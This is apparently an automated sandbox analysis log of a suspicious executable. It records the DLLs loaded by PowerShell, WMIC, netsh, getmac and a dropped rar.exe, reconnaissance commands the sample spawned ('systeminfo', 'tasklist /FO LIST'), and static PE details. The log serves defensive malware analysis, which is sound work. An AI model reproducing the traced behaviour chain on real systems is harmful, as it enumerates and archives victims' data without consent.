Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI61762\rar.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 9g9LZNE4bH.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 9g9LZNE4bH.exe

Static file information: File size 7186035 > 1048576

Source: 9g9LZNE4bH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 9g9LZNE4bH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 9g9LZNE4bH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 9g9LZNE4bH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 9g9LZNE4bH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 9g9LZNE4bH.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 9g9LZNE4bH.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 9g9LZNE4bH.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2405833236.00007FF8A8450000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_A source: 9g9LZNE4bH.exe
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2408503396.00007FF8A9356000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: 9g9LZNE4bH.exe, 00000002.00000002.2406298429.00007FF8A86AF000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: 9g9LZNE4bH.exe, 00000000.00000003.2025057853.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2411047853.00007FF8BFAC1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: 9g9LZNE4bH.exe, 00000000.00000003.2025057853.000001A5F3611000.00000004.00000020.00020000.00000000.sdmp, 9g9LZNE4bH.exe, 00000002.00000002.2411047853.00007FF8BFAC1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: 9g9LZNE4bH.exe, 9g9LZNE4bH.exe, 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000046.00000000.2310221598.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmp, rar.exe, 00000046.00000002.2321268493.00007FF6AA1F0000.00000002.00000001.01000000.0000001A.sdmp, rar.exe.0.dr
Source:	Binary string: D:\a\1\b\bin\amd64\python311.pdb source: 9g9LZNE4bH.exe, 00000002.00000002.2407700677.00007FF8A8CCC000.00000040.00000001.01000000.00000004.sdmp
